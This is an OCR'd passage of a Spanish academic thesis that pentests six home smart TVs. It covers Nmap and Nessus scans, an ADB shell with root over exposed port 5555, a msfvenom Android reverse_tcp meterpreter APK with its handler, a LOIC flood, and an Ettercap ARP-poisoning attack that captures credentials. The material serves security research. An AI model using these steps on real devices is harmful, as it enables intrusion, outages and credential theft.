
Tabla 37. Caracteristicas de la Smart TV 5.

Caracteristicas Descripcion

Marca Riviera
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Modelo

RLED-ANDSOTPXM

Versién de firmware

1.0.0

Red

Red doméstica

Direccion IP

192.168.100.14

Sistema operativo

Android TV 5.1

Seguridad
Proveedor

WPA2
Speedy

Aplicaciones instaladas

Netflix, Pluto TV, Magis TV

Funciones y caracteristicas

Control parental, proteccion de privacidad

Luego de la revision del televisor inteligente Riviera, se encontr6 que algunas de las
aplicaciones no tenian la seguridad adecuada. EI Smart TV cuenta con un sistema

operativo Android.

f. Dispositivo Smart TV 6

Tabla 38. Caracteristicas de la Smart TV 6.

Caracteristicas Descripcién
Marca TCL
Modelo QLED
Version de firmware 1.0.0

Red Red doméstica
Proveedor Speedy
Direccion IP 192.168.100.15

Sistema operativo

Android TV 5.1

Seguridad

WPA2

Aplicaciones instaladas

Netflix, YouTube, Facebook, varios juegos.

Funciones y caracteristicas

Control parental, proteccion de privacidad

Después de usar un televisor inteligente TCL por un tiempo, se observd que el
televisor estd equipado con el sistema operativo Android TV, que ofrece una gran

variedad de aplicaciones y contenido.
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3.3.2 Fase de escaneo

Para esta fase se utilizo el sistema operativo Kali Linux, el cual se aloja en un
sistema de virtualizacion Ilamado VirtualBox y las herramientas NMAP y Nessus
(Anexo B).

HNIRETNU A

"the quieter you become, the more you are able to hear™

Figura 15. Maquina virtual Kali Linux.

Se procedid a escanear los hosts desde la maquina atacante, con las herramientas
Nmap y Nessus, las cuales son herramientas de monitoreo, pudiendo analizar puertos

abiertos y sus servicios y vulnerabilidades que pueden tener los dispositivos.

Mediante la herramienta Nmap se logro el objetivo, utilizando el comando:

Nmap -O -p- -sV -sS -n -Pn direccién IP_a_evaluar

Tabla 39. Parametros para escanear puertos y sistemas operativos con Nmap.

Parametros Descripcion

-0 Activa la deteccion del sistema operativo.

-p- Indicar escaneo de todos los puertos

-sV Activa la deteccién de versiones de servicios.

-sS Realiza un escaneo TCP SYN stealth.

-n Indica a la herramienta que no realice resolucidn de DNS durante el
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escaneo.

-Pn

No realiza ninguna prueba de ping al objetivo antes de escanearlo.

a. Escaneode SmartTV 1

El escaneo de Nmap realizado encontré que la TV1 tiene 10 puertos abiertos. Los

servicios asociados con los puertos abiertos no se pudieron identificar por completo.

Resultados del escaneo con Nmap

192.168.100.18

Figura 16. Escaneo de Nmap a Smart TV 1.

El host se identifica con un sistema operativo Android.

El escaneo de Nessus ha identificado un total de 29 vulnerabilidades en la TV1 con
la direccion IP 192.168.100.18. las cuales son 1 Alta, 3 medias y 25 de informacion.

Resultados de escaneo con Nessus

Vulnerabilities

192.168.100.18

HIGH MEDIUM LOW INFO

Total: 29

Figura 17. Escaneo de Nessus a Smart TV 1.

b. Escaneo de SmartTV 2
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e Resultados del escaneo con Nmap

1 > 192.168.100.67
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-21 20:29 EST
Nmap scan report for 192.168.100.67
Host is up (0.0092s latency).
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE VERSION
6466/tcp open ssl/unknown
6467/tcp open ssl/unknown
8008/tcp open http?
8009/tcp open ssl/castv2 Ninja Sphere Chromecast driver
8443/tcp open ssl/https-alt?
9000/tcp open ssl/cslistener?
10101/tcp open ssl/ezmeeting-2?
35667/tcp open tcpwrapped
38767/tcp open tcpwrapped
MAC Address: F@:35:75:F3:9A:3F (Hui Zhou Gaoshengda Technology)
Device type: media device
Running: Google Android 5.X
0S CPE: cpe:/o:google:android:5.0
0S details: Sony Android TV (Android 5.0)
Network Distance: 1 hop

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submi
L
Nmap done: 1 IP address (1 host up) scanned in 120.87 seconds

Figura 18. Escaneo de Nmap a Smart TV 2.

El escaneo realizado a la TV2 encontr6 que tiene 9 puertos abiertos, de los cuales
todos son TCP. Los servicios asociados con los puertos abiertos no se pudieron

identificar por completo. El host se identifica con un sistema operativo Android 5.0.

e Resultados de escaneo con Nessus

192.168.100.67
CRITICAL HIGH MEDIUM LOW INFO
Vulnerabilities Total: 8

Figura 19. Escaneo de Nessus a Smart TV 2.

El escaneo de Nessus ha identificado un total de 8 vulnerabilidades en la TVV2 con la
direccion IP 192.168.100.26. todas son de informacion.

86



c. Escaneode SmartTV 3

Resultados del escaneo con NMAP

-~

isudo]hbassword for kali

192.168.100.16

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-14 13:37 EST

Nmap scan report for 192.168.100.16

Host is up (0.00077s latency)

Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd
445/tcp open netbios-ssn Samba smbd
5555/tcp open freeciv?

6466/tcp open ssl/unknown

6467/tcp open ssl/unknown

MAC Address: F0:35:75:F3:9A:3F (Hui Zhou Gaoshen
Device type: me

Running:

0S CPE: cp

0S details: Son

Network Distance: 1 hop

X.
X -

3,
3.

0S and Service detection performed. Please repor
Nmap done: 1 IP address (1 host up) scanned in 1

4.X (workgroup: WORKGROUP)
4.X (workgroup: WORKGROUP)

gda Technology)

t any incorrect results at https://nmap.org/submit/ .
17.89 seconds

Figura 20. Escaneo de Nmap a Smart TV 3.

El informe de escaneo revela que el dispositivo TV3 con la direccion IP

192.168.100.16 es un televisor Android

TV con un sistema operativo Android 5.0,

La direcciébn MAC del dispositivo pertenece a “Hui Zhou Gaoshengda Technology”.

Ademaés de contar con varios puertos abiertos con servicios identificados.

e Resultados de escaneo con Nessus

Vulnerabilities

192.168.100.16

MEDIUM

LOW INFO

Total: 29

Figura 21. Escaneo de Nessus a Smart TV 3.

El escaneo de Nessus ha identificado un

total de 29 vulnerabilidades en la TV3 con

la direccion IP 192.168.100.16. las cuales son 1 Alta, 1 mediay 27 de informacion.
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d. Escaneode Smart TV 4

e Resultados del escaneo con NMAP

192.168.0.100

upnp (UPnP 1.@; DLNA ; LGE_DLNA_SDK @5
(LG TV mode 70B-5H; Neptune 1

ion, please submit the following fingerp

:linux:linux_kernel:3

media device; CPE: cpe:/o:linux:linux_kernel, cpe:/h:1g:321n570b-sh

ice detection performed. Please report i rrect results at https://nmap.org/submit/ .
Nmap do 1 IP address (1 host up) scanned in 99 ds

Figura 22. Escaneo de Nmap a Smart TV 4.

El escaneo mostro que la TV4 tiene varios puertos abiertos que pueden ser
vulnerables a ataques. Es importante tomar medidas para mitigar estos riesgos, como
actualizar el sistema operativo, consultar la base de datos de vulnerabilidades y

aplicar parches a cualquier vulnerabilidad conocida.

e Resultados de escaneo con Nessus

192.168.0.100
CRITICAL HIGH MEDIUM LOW INFO
Vulnerabilities Total: 18

Figura 23. Escaneo de Nessus a Smart TV 4.

El escaneo identificd un total de 18 vulnerabilidades en la TV4 con la direccion IP

192.168.0.100 las cuales todas son de informacion.
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e. Escaneode Smart TV 5

e Resultados del escaneo con NMAP

do -0 -p- -sV -s§ Pn 192.168.100.14
[sudo] password for kali
-11-22 16:44 EST

Not shown:
POR
f 5

unknown
ss1/unknown
s51/unknown

tcpwrapped

Figura 24. Escaneo de Nmap a Smart TV 5.

Tras ejecutar el comando Nmap en la direccion IP 192.168.100.14 que corresponde a
la TV5, se detectaron varios puertos abiertos, entre ellos algunos con servicios SSL,
se identifico6 como un dispositivo con sistema operativo Android 5.1. Aunque se
intentd identificar servicios en algunos puertos, la herramienta no pudo proporcionar

informacion precisa, generando huellas para andlisis adicional.

e Resultados de escaneo con Nessus

192.168.100.14

CRITICAL HIGH MEDIUM LOW INFO

Vulnerabilities Total: 8

Figura 25. Escaneo de Nessus a Smart TV 5.

Nessus ha identificado un total de 8 vulnerabilidades en el host con la direccion IP

192.168.100.14. las cuales son 3 medias y 5 de informacién.
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f. Escaneo de Smart TV 6

e Resultados del escaneo con NMAP

1() ")

Starting Nmap 7.94 ( https:/ﬁnwap.org
WAR RST from 192.168.100.15

: RST from 192.168.100.15 port

+ RST from 192,168 A5

\G: RST from 192 A5 ¢
+ RST c
¢ RST from

Not shown: 65526 closed tcp ports

PORT STATE SERVICE VERSION
open
open
open
open
open WebSocket
open é

/tcp open Portable SDK for UPnP devices 1.6.22

/tCp open tcpwrapped
/ tcpwrapped

Figura 26. Escaneo de Nmap a Smart TV 6.

El analisis realizado tras ejecutar el comando Nmap en la TV6 con direccion IP
192.168.100.15 reveld la presencia de varios puertos abiertos. Las advertencias de
RST desde el puerto 4123 indican complicaciones en su apertura. La direccion MAC

esta asociada a Hui Zhou Gaoshengda Technology, con sistema operativo Android

TV 5.1.

.168.,100,15

+ 0.7.0

e Resultados de escaneo con Nessus

=22 16:46 EST
Ly open?

/ open?

(Linux 3,10.40; UPnP 1.0)

CRITICAL HIGH

Vulnerabilities

192.168.100.15

MEDIUM

LOW

INFO

Total: 5

Figura 27. Escaneo de Nessus a Smart TV 6.

Nessus ha identificado un total de 5 vulnerabilidades la TV6 con la direccién IP

192.168.100.14. las cuales todas son de informacion.
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3.3.3 Fase de analisis de vulnerabilidades

En base al desarrollo de las fases anteriores se realizd un andlisis de los riesgos y

vulnerabilidades a cual los dispositivos inteligentes estan expuestos.
a. Puertos abiertos en los Smart TV

En las siguientes tablas se muestra los puertos abiertos y servicios que funcionan en

los dispositivos que la herramienta Nmap descubrio.

Tabla 40. Puertos abiertos en los Smart TV.

Smart TV

Puerto TV1 TV2 TV3 TV4 TV5 TV6
139
445
5555
6466 X X
6467

X| X| X| X| X

X
X
X

8008
8009
8443
9000
9999
1352
8060

X| X| X| X
X| X| X| X

X| X| X| X| X

8080
9955
56790
1362
38767 X
10101 X
4123
6550
9541
49152

X| X| X| X| X]| X

X| X| X| X
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Tabla 41. Protocolos que funcionan en los Smart TV.

Smart TV

Servicio TV1 TV?2 TV3 TV4 TV5 TV6

netbios-ssn

Freeciv

SSL/TLS

Tcpwrapped

ssl/ajpl3

ssl/https-alt

X| X| X| X| X

ssl/cslistener

X| X| X| X| X| X
X| X| X| X| X

Abyss

Upnp X

http X

ssl/ezmeeting-2

Z-Wwave

fg-sysupdate

Websocket

Estos dispositivos tienen una variedad de puertos abiertos para varios protocolos,
incluidos la navegacion Web, el intercambio de archivos, el descubrimiento y control
de dispositivos, la comunicacion segura y la comunicacion de aplicaciones. Los
puertos abiertos pueden representar una vulnerabilidad para la seguridad del
dispositivo. Los atacantes pueden intentar explotar estos puertos para acceder al

dispositivo o robar datos.

A continuacion, se muestra los puertos que se encuentran con mas frecuencia abierto

en los dispositivos Smart TV y que podrian estar sujetos a ataques.
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Tabla 42. Puertos abiertos més susceptibles a ser vulnerados.

Puerto Descripcién Vulnerabilidades

80, 8008, 8009, 8080 | Web Inyeccion de codigo, ataques

(HTTP) de scripting entre sitios, robo
de datos

9000, 9999 (HTTP | Similar a HTTP Similara HTTP

alternativo)

8443 (HTTPS alternativo)

Similar a HTTPS

Similar a HTTPS

56790 (UPNP)

Descubrimiento automatico

de dispositivos

Ataques de red, acceso no

autorizado a dispositivos

1362, 38767, 10101, 4123,
6550, 9541, 49152

Desconocido

Depende del servicio que los

usa

b. Analisis de puertos abiertos

En la tabla 49 se muestran los puertos abiertos en 6 televisores inteligentes. Cada

puerto estd asociado con un servicio o protocolo que permite al televisor

comunicarse en la red.

Tabla 43. Analisis de puertos y protocolos.

Servicio Puertos Funcién
Freeciv 5555 Servidor de ajedrez gratuito por Internet en el
televisor inteligente.
NetBIOS-SSN 139 Permite el acceso compartido a archivos y otros
recursos de red en el televisor inteligente.
Microsoft SMB 445 Permite el acceso compartido a archivos y otros
recursos de red en el televisor inteligente.
UPNP 6466 Permite a los dispositivos de la red descubrirse y
6467 conectarse entre si, incluyendo el televisor
1352 inteligente.
1362
9541
TCP-wrapped 8008 permite a los usuarios controlar su televisor
8009 inteligente desde wun dispositivo moévil o un
8080 ordenador.
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56790

38767
SSL/TLS 8443 Proporciona seguridad para las comunicaciones web
en el televisor inteligente.
ssl/sclistener 9000 Utilizado como un navegador web o una aplicacion
de streaming de video.
Abyss 9999 Servidor web en el televisor inteligente.
HTTP 8060 Protocolo estandar para la transmision de datos web

49152 en el televisor inteligente.

alljoyn-stm 9955 Permite a los dispositivos inteligentes comunicarse
entre si.
SSL/ezmeeting-2 10101 Envia mensajes cifrados de control de red.
z-wave 4123 Protocolo de comunicacion inaldmbrica que se utiliza

para conectar dispositivos domésticos inteligentes.

fg-sysupdate 6550 Protocolo que se utiliza para la actualizacion del

firmware de tu televisor inteligente.

El analisis realizado por la tabla 42 muestra que, Los dispositivos Smart TV exponen
una gran cantidad de servicios a la red, lo que los hace vulnerables a una serie de
ataques, la apertura de puertos para control remoto y transmision de datos web
muestra una funcionalidad amplia de los dispositivos, pero también destaca areas
potenciales de riesgo. Se debe tomar medidas para proteger su seguridad, como
deshabilitar los servicios que no sean necesarios, actualizar el firmware del televisor
inteligente con las dltimas correcciones de seguridad y usar una contrasefia fuerte

para acceder al televisor inteligente.

c. Anadlisis de vulnerabilidades encontradas

En la tabla 50 se muestra una clasificacion de vulnerabilidades de los Smart TV,
agrupadas segun el nivel de riesgo establecido por Nessus la cual es una herramienta

de monitore, enfocado en detectar vulnerabilidades en host o dispositivos.

Tabla 44. Clasificacion de vulnerabilidades de los Smart TV.
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Riesgo | Puntuacion Vulnerabilidad Descripcion Smart
CVSSv3.0 TV
Alto 7.5 SSL Medium Strength | Permite a un atacante degradar una | TV1
Cipher Suites | conexion TLS a una suite de cifrado
Supported (SWEET32) | mas débil.
Alto 7.5 Samba Badlock | Esta vulnerabilidad permite a un | TV3
Vulnerability atacante no autenticado obtener
privilegios de administrador en un
sistema vulnerable.
Medio 6.5 SSL Certificate Cannot | Problemas con el certificado ssl, es | TV1
Be Trusted certificado esta caducado o no es
legitimo.
Medio 6.5 SSL Certificate Cannot | Problemas con el certificado ssl, es | TV5
Be Trusted certificado esta caducado 0 no es
legitimo.
Medio 6.5 SSL Self-Signed | Problemas con el certificado ssl, es | TV5
Certificate certificado esta caducado o0 no es
legitimo.
Medio 6.4 SSL Certificate Fails to | Indica que un certificado SSL no | TV1
Adhere  to Basic | cumple con  ciertos  requisitos
Constraints / Key | definidos en las extensiones de
Usage Extensions restricciones basicas y uso de clave.
Medio 6.4 SSL Certificate Fails to | Indica que un certificado SSL no | TV5

Adhere to Basic

Constraints /  Key

Usage Extensions

cumple con ciertos  requisitos

definidos en las extensiones de

restricciones basicas y uso de clave.

Como se muestra en la tabla 43, el andlisis de vulnerabilidad realizado en un
conjunto de dispositivos Smart TV ha identificado dos vulnerabilidades de alto
riesgo y cinco vulnerabilidades de medio riesgo. Estas vulnerabilidades podrian

permitir a un atacante tomar el control completo u obtener acceso no autorizado a los

datos de los dispositivos afectados.
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3.3.4 Fase de explotacion

Una vez que se realizd la identificacion de puertos abiertos y escaneo de
vulnerabilidades se procedié a explotar la vulnerabilidad y tratar de ganar acceso a

los dispositivos.
a. Ataques de Explotacién de puertos

Gracias al analisis que se realizo, se encontré que el dispositivo tenia puertos de
conexion abiertos. Una de las herramientas que se utiliz para la explotacion fue
ADB ya que la mayoria de los televisores inteligentes contaban con sistemas

operativos Android TV.

A continuacién, se detallan los pasos para la ejecucién del ataque, es necesario
manifestar que cada comando debe ejecutarse en modo root, o usando la palabra

sudo.

e Se instalo la herramienta ADB en Kali Linux con el comando “apt-get install
Android-tools-adb”.

sudo install android-tools-adb
Reading package lists... Done
g ncy tree... Done
Reading state information... Done
g 'adb’ instead of 'android-tools-adb’

y the newest version ( .4-1).
installed and are no longer required:
1 libcurl3-nss libgee-12-dev libgumbol 1ibgupnp-
] . plugin-pem python3-jdcal
Use 'sudo apt autoremove' to remove the
0 upgraded, @ newly installed, @ to remove and 642 not upgraded.

Figura 28. Instalacion de ADB.

La Figura 27 indica que el comando se ejecutd correctamente y que el paquete ADB

ya esté instalado en el sistema.

e Se enumeraron los dispositivos que estaban conectados por adb mediante el

comando “adb devices”.
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devices
[sudo] password for kali:

List of devices attached

Figura 29. Listado de dispositivos conectados.

e Se realizo la conexion al dispositivo TV3 con la IP 192.168.100.16 a través de
puerto 5555 abierto, con el comando “adb connect 192.168.100.16:5555”,

también se verifico si la conexidn se realizd con éxito mediante el comando “adb

devices”.

List of devi \C
e s 5 A device

Figura 30. conexién a dispositivo Smart TV.

e Luego de haber establecido la conexion se procedid a ingresar al sistema

operativo del dispositivo con el comando “adb shell” y se listé todos los

directorios con “Is”.
)-[~/Dounloads |
shell
acct . etc Wy _32.1¢C proc

bin fstab. fugu product
bugreports  init

p-nksh

xts  ueventd.fugu.rc

Figura 31. Directorios de un Smart TV.

El comando “adb Shell” se utiliza para acceder a un shell de linea de comandos en un
dispositivo Android. EI shell de linea de comandos permitio ejecutar comandos de

Linux en el Smart TV.
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Luego de tomar control del dispositivo se realizd un ejemplo de instalacion de
aplicaciones desde fuera del Smart TV.

e Se descargd una aplicacion desde el navegador en este caso es una apk de un

navegador de internet, como se muestra en la figura 30.

Show all downloads

Figura 32. Descarga de APK.

~/Downloads

50208. txt exploit.py
50209.txt

busqueda-rapida-quick-search.apk ‘'Smart TV 2_5n3m97.
"Escaneo SMART TV LG_sqfo7l.pdf’ "Smart TV 2_jhgqil.
Escane_SmartTV1_kzu2vk.pdf 'Smart TVRiviera TP

Figura 33. Directorio de descargas de Kali Linux.

e Se instalo la aplicacion con el comando “adb install busqueda-rapida-quick-

search.apk”

|-[~/Downloads]
install busqueda-rapida-quick-search.apk

[sudo] password for kali:
erforming Streamed Install

SUcCcess

Figura 34. Instalacion de apk.

e Luego se verifico que la aplicacion este instalada en el dispositivo Smart TV con

la IP: 192.168.100.16.
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ETFLIX

Juegos instalados

_ @ Doy Plutoo () Sk star+

Quick SearchTV

Figura 35. Vista de aplicacion instalada desde el dispositivo.

e Para verificar que el dispositivo este instalado mediante la conexion se debe tener

permisos de super usuario, como se observa en la figura 35.

shell
fugu:/ § 1s
acct etc
bin fstab. fugu
bugreports 1nit
cache init.environ.rc
charger init. fugu.rc
config init.rc
d 1n1t, superuser.rc
data init.usb.configfs.rc
default.prop init.ush.rc
dev 1n1t.zygote32.rc
fugu:/ § cd data
fugu:/data § 1s
ls: .: Permission denied
1/fugu:/data § su
fugu:/data #

1n1t.zygoteb4_32.rc proc

lib product

mnt sbin

odm sdcard

oem sepolicy
plat_file_contexts storage
plat_hwservice_contexts sys
plat_property_contexts system
plat_seapp_contexts tmp-mksh
plat_service_contexts ueventd.fugu.rc

ueventd.rc

vendor
vendor_file_contexts
vendor_hwservice_contexts
vendor_property_contexts
vendor_seapp_contexts
vendor_service_contexts
vndservice_contexts

Figura 36. Permisos de super usuario.
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fugu:/data # ls data

jandroid com.google.android.backuptransport

berserker.android.apps.sambadroid m. ndroid.configupdater
roid.ex r'

L . by backlauncher
com.android.htmlviewer . | backlauncher.recommendations
com.android.inputdevices " .android.marvin.talkback
com.android.keychain . .android.music
com.android.location. fused m. g e.android.packageinstaller

g .play.games
archbox
.android.s
.android.t
.android.

.8008g .
com.google.andr:
(om,google.anm‘old .tv.remote.service

Figura 37. Vista de aplicacion instalada por la conexion.

La Figura 36 muestra que la aplicacion esta instalada correctamente. La carpeta
donde se guarda la instalacion aparece junto a otras carpetas de aplicaciones
instaladas, incluidas las aplicaciones propias de fabrica en el dispositivo, el Smart
TV 3 con la 1P:192.168.100.16, esto puede deberse a que el dispositivo no contaba

con las ultimas actualizaciones.

b. Ataques de malware

Las herramientas metasploit y msfvenom estan preinstaladas en Kali Linux. Se
utilizé6 msfvenom para crear el malware que ayudara a mantener conexién remota en

los dispositivos, en este caso la TV1, mientras que metasploit realiza la conexion.

e Se procedid6 a crear el malware con el comando “msfvenom -p
ruta_absoluta_ubicacion LHOST=IP_atacante LPORT=puerto_conexion -0

nombre malware.apk”, como se muestra en la figura 37.

verse_tcp LHOST=192.168.100.87 LPORT=443 -0 pru-:eba..a.pkl

Figura 38. Creacion de malware.
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Utilizando python se levantd un servidor Web bésico en la red donde se

encuentra la victima, como se mira en la figura 39.

B 0 B

4System SmartTVT... Android.rc

comados

Figura 40. Comandos para servidor http.
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Figura 40. Servidor http.

Luego con la herramienta metasploit se utiliz6 el moédulo multi/handler/ el cual

fue utilizado para recibir la conexion del malware Ilamado prueba.apk.

erpreter/reverse_tcp

android/meterpreter/reverse_tcp

Module option exploit/multi/handler):

Name Curre etting Reguired Descripticn

Name Current Setting Required Description
LHOST \ sten address (an interface may be specified)
LPORT 4444 \ The listen port
Exploit target:
Id Name

Wildcard Target

View the full module info with the info, or info -d command.

Figura 41. Modulo multi/handler.

Se configuré el moédulo con los campos requerido, los cuales fueron la ip de
atacante y el puerto por donde se realiz6 la conexion, luego se inici6 el mddulo
como se muestra en la figura 42.

msf6 exploit( } > set Lhost 192.168.180.87

Lhost = 192.168.100.87
msf6 exploit ) > set lport 443

lport
msfe exploit( } > run

Started reverse TCP handler onm 192.168.180.87:443

Figura 42. Configuracion de IP y puerto del maédulo.

Cuando el modulo estuvo escuchado, se procedié a descargar e instalar el
malware en el dispositivo Smart TV. Como se visualiza en la figura 43 y figura
44,
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) > DOWNLOAD

_.. Mostrar los archivos y las carpetas ocultas

Administrar |
| Versién Premium
cuenta |

dic. 2023

| s prueba(1).apk
Afiadir nube ¥ ‘ dic. 20,2023,19:2

Inicio

Archivos recle...

Favoritos

MobiDrive
GB usados de

Figura 43. Descarga del malware.

Figura 43. Ejecucion del malware.

El malware se ejecutd correctamente y se cred una conexion meterpreter entre el
atacante y la victima en este caso el Smart TV. Lo cual confirma que el ataque

resulto exitosamente.
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C.

— 192.168.100.

Figura 44. Configuracion de host de la victima.

Ataque DOS

Para este tipo de ataque se utilizd las herramientas LOIC y wireshark. A

continuacion, se detalla los pasos que se ejecutaron para el ataque:

Se descargo el programa de la pagina web: “https://sourceforge.net/projects/loic/”

ﬁw — . . . _— 3 . qo s IM‘ [l o s
# & Download LOIC
« > 0@ B =

KaliLinux & KaliTools = KaliDocs & Ka

SOURCEFORGE

LOIC Mirror

Provided by

A network stress testing application

File may contain malware, automatic download disabled. Continue to DOWNLOAD at _8"/
Figura 45. Descarga de LOIC.

Luego se descomprimid el paquete descargado para poder obtener el archivo de
ejecucion.
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LOIC-1.0.8-
bil

% Open With "Engrampa Archive Manager"

Open With Other Application...
Set Default Application...
Send To

X Cut

0 Copy

@ Move to Trash
Rename...

B3 Open Terminal Here

B ExtractHere

B Extract To...

B Create Archive...

= Properties...

Figura 46. Extraccion del archivo de ejecucion de LOIC.

Para el funcionamiento correcto de LOIC se instal6 todas las librerias y

dependencias de “mono-complete” con el comando “apt install mono-complete”.

~/LOIC
all mono-complete

Figura 47. Instalacion de la libreria mono-complete.

Con el comando "chmod +x LOIC.exe", se establecid el permiso de ejecucion en

el archivo. Posteriormente, se inici6 el programa.

1= [~/LOIC]
+x% LOIC.exe

[~/LOIC]
LOIC.exe]]

Figura 48. Permisos de ejecucion de LOIC.
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Low Orbit lon Cannon | When harpoons, air strikes and nukes fails | v. 1.0.8.0

IMMA CHARGIN MAH LAZER

Figura 49. Interfaz de LOIC.

La interfaz de LOIC es intuitivo y facil de utilizar, sin importar el nivel de

conocimiento.

e Se ingreso la direccion ip del host a quien fue dirigido el ataque, en este caso el

dispositivo TV2, luego se dio clic en boton “Lock on”.

Low Orbit lon Cannon | When harpoons, air strikes and nukes fails | v. 1.0.8.0

B : IMMA CHARGIN MAH LAZER
P 192.168.100.67

192.168.100.67

Figura 50. Interfaz de LOIC.

e Luego de a ver ingresado los datos se ejecuto el programa con el boton “IMMA

CHARGIN MAH LAZER?”, como se visualiza en la figura 52.
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Low Orbit lon Cannon | When harpoons, air strikes and nukes fails | v. 1.0.8.0

Lock on
Stop flooding

192.168.100.67

Figura 51. Ingreso de datos a LOIC.

En la parte inferior derecha de la figura 52, se muestra la cantidad de peticiones que

se hacen al dispositivo para causarle una inundacion o sobrecarga de datos.

e Con la herramienta wireshark se pudo visualizar el paso de los paquetes UDP al

dispositivo con la ip 192.168.100.67 y que el ataque se ha realizado con éxito.

Source Destination Protocol Length
.724451788 192.168.1600.
.724452851 192.168.100.

. 41.724453130 - - ) ) : c
1021.. 41.724453382 192.168.100.87 192.168.100.67 upP 76 50498 ..
1021.. 41.724453641 192.168.100.87 192.168.100.67 upp 76 50498 ..
1021.. 41.724535271 192.168.100.87 192.168.100.67 UDP 76 50498 .
1021.. 41.724535910 192.168.100.87 192.168.100.67 UDP 76 50498 .
1021.. 41.724536182 192.168.100.87 192.168.100.67 UDP 76 50498 .
1021.. 41.724536475 192.168.100.87 192.168.100.67 upp 76 50498 ..
1021.. 41.724536816 192.168.100.87 192.168.100.67 ubp 76 50498 ..
1021.. 41.724537110 192.168.100.87 192.168.100.67 upp 76 50498 ..
1021.. 41.724537407 192.168.100.87 192.168.100.67 upP 76 50498 ..
1021.. 41.724660959 192.168.100.87 192.168.100.67 upp 76 50498 ..
1021.. 41.724661779 192.168.100.87 192.168.100.67 upp 76 50498 ..
1021.. 41.724662107 192.168.100.87 192.168.100.67 UDP 76 50498 .
1021.. 41.724662412 192.168.100.87 192.168.100.67 UDP 76 50498 .. [}

e7
20 69 73 20

2 bytes) R o 73 75 64 65
4120636174206973206669626520746761 262044657,

Figura 52. Monitore del ataque DOS con wireshark.

e Con el ataque llevado a cabo, se evidencié la pérdida de conexién a Internet del

dispositivo.
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Error

No se puede acceder al servicio de Netflix. Comprueba Ajustes

de red para conectarte a la red disponible y poder utilizar el
servicio de Netflix (-100).

ACEPTAR

Figura 53. DOS a Smart TV.

Habiendo finalizado el ataque, el dispositivo TV2 no recuperé la conexion hasta que

se lo reinicid, momento en el cual volvié a funcionar normalmente.

d. Ataque MITM

Para este tipo de ataque se utiliz6 las herramientas Ettercap y wireshark. A

continuacion, se detalla los pasos que se ejecutaron para el ataque:

e Ettercap es una de las herramientas de Kali Linux, se escribié el comando

“ettercap -G” para iniciar la herramienta.

—( 1=~

I ]

[sudo] password for kali:

ettercap 0.8.3.1 copyright 2001-2820 Ettercap Development Team

0

Figura 54. Comando para iniciar Ettercap.

e Seescogib la interfaz de red al cual esta conectada la victima.
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Primary

Bridged sniffing

Bridged Interface

Figura 55. Interfaz de Ettercap.

Luego, se buscé el host de la victima, dado clic en el icono de lupa que se
encuentra en el lado superior izquierdo de la pantalla, en este caso el host fue el

dispositivo TV4 con la IP 192.168.0.100.

Estado de red

il
Inalambrica : INFINITY:

Direccion MAC : 88:03:55:06:4E:13  Gateway :192,168.0.1
Direccion IP :192.168.0.100 Servidor DNS ~ :192.168.0.1
Mésc. subred  :255.255.255.0

—/,_/.,.._ e i
Completo

Figura 567. IP de la TVA4.
» Q = Ettercap
Host List x

P Address MAC Address Description
92.168.0.1 B4:0F:3B:F9:64:30

92.168.0.100 BC:6A:D1:3B:F8:CA
92.168.0.102 88:03:55:06:4E:19
92.168.0.104 74:12:B3:57:B7:A9
92.168.0.105 B6:CE:92:ED:19:6E

Figura 57. Lista de hosts Ettercap.
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Posteriormente, se eligio el host del dispositivo, sefialando la IP y luego dando
clic en el boton “Add to Target 17, y de igual forma se agrego la ip del router en
“Add to Target 2”.

Delete Host Add to Target 1 Add to Target 2

Figura 58. Eleccion de los hosts.

Se escogio el tipo de ataque en este caso “ARP poisoning”. Posteriormente

escogio la opcidn “Sniff remote connections”.

Ettercap

Description ARP poisoning...
NDP poisoning
ICMP redirect...
Port stealing...
DHCP spoofing...

Stop MITM attack(s)

SSL Intercept

MITM Attack: ARP Poisoning

Optional parameters

# Sniff remote connections.

Only poison one-way.

Figura 60. Sniff de Conexion Remota.

Mediante la herramienta Wireshark se comprobd el éxito del ataque, ya que todo
el trafico de red entre el dispositivo y el router pasaba por el atacante y podia ser

monitoreado, como se puede ver en la figura 62.
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[« |ip.addr ==192.168.0.100|

No. Time Source Destination Protocol Length
9 8.24405505 157.2.197461 192.1840.10 o
71 8.47845 92.8.0. 19 15 3 40 .197.61
7 48‘447633 5 . 40A197.1 92 S 18;0.100

75 48.627607387 157.240.197.61 192.168.0.100

77 48.631746340 192.168.0.100 157.240.197.61 TCP

79 49.440423281 192.168.0.100 44.228.249.3 HTTP

81 49.442392174 192.168.0.100 216.58.212.14 TCP
82 49.448727470 192.168.0.100 216.58.212.14 TCP
83 49.609285031 44.228.249.3 192.168.0.100
84 49.609918797 44.228.249.3 192.168.0.100
85 49.616445373 44.228.249.3 192.168.0.100

87 49.770058284 192.168.0.100 44.228.249.3 TCP

89 49.856702037 192.168.0.100 44.228.249.3 HTTP

Figura 61. trafico de red la victima.

Se realiz6 una prueba de inicio de sesion en una pagina web desde el navegador del

dispositivo, como se visualiza en la figura 63.

i 6 ;.:dauso.comr’.n dox.php?r

© Prueba de uso - Log!

Borrar todo

Figura 62. Inicio de sesién desde la TV4.

La herramienta Ettercap logro interceptar el tréfico http, asi logrado atrapar las

credenciales del usuario del dispositivo.

GROUP 1:192.168.0.100 B6:CE:92:ED:19:6E

GROUP 2:192.168.0.1 B4:0F:3B:F9:64:30
Starting Unified sniffing...

HTTP : 44.228.249.3:80 -> USER: Jona PASS: prueba+ INFO: http://testphp.vulnweb.com/login.php
CONTENT: uname=Jona&pass=prueba+

Figura 63. Captura de credenciales con la herramienta Ettercap.
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3.3.5 Fase de reporte

A continuacion, se muestra la efectividad que tuvo los ataques realizados en la fase

de Explotacion de puertos en los dispositivos Smart TV.

a. Reportede TV1

Tabla 45. Reporte de dispositivo TV1.

Dispositivo TCL 43S525
Sistema Android TV
Operativo
IP 192.168.100.18
Técnica de | Explotacién | Observaciones
Pentesting
Se logré explotar la vulnerabilidad de cifrado de tipo
Explotacion de Si medio mediante la herramienta Wireshark. Se monitoreo
puertos el tréfico de red y se pudieron evidenciar las acciones que
realizaba el Smart TV.
Ataque de El malware ayudo a crear una conexion con el dispositivo
malware Si exitosamente, la conexion dura entre 3 a 5 minutos y
luego el dispositivo lo detecta y corta la conexién.
